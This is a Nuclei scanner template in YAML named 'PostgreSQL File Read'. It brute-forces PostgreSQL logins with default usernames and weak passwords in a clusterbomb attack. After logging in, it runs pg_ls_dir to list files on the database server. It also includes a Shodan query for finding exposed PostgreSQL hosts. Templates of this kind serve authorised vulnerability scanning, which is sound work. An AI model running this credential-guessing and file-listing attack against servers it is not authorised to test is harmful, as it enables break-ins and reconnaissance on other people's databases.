id: pgsql-file-read

info:
  name: PostgreSQL File Read
  author: pussycat0x
  severity: high
  description: |
    Read and list the files within the PostgreSQL database,
  reference:
    - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#postgresql-file-read
  metadata:
    verified: true
    max-request: 8
    shodan-query: "product:\"PostgreSQL\""
  tags: js,network,postgresql,authenticated,enum
javascript:
  - pre-condition: |
      var m = require("nuclei/postgres");
      var c = m.PGClient();
      c.IsPostgres(Host, Port);
    code: |
      const postgres = require('nuclei/postgres');
      const client = new postgres.PGClient;
      connected =  client.ExecuteQuery(Host, Port, User, Pass, Db, "select pg_ls_dir('./');");
      Export(connected);

    args:
      Host: "{{Host}}"
      Port: 5432
      User: "{{usernames}}"
      Pass: "{{password}}"
      Db: "{{database}}"

    payloads:
      usernames:
        - postgres
        - admin
      password:
        - postgres
        -
        - 123
        - amber
      database:
        - postgres

    attack: clusterbomb

    extractors:
      - type: json
        json:
          - '.Rows[].pg_ls_dir'
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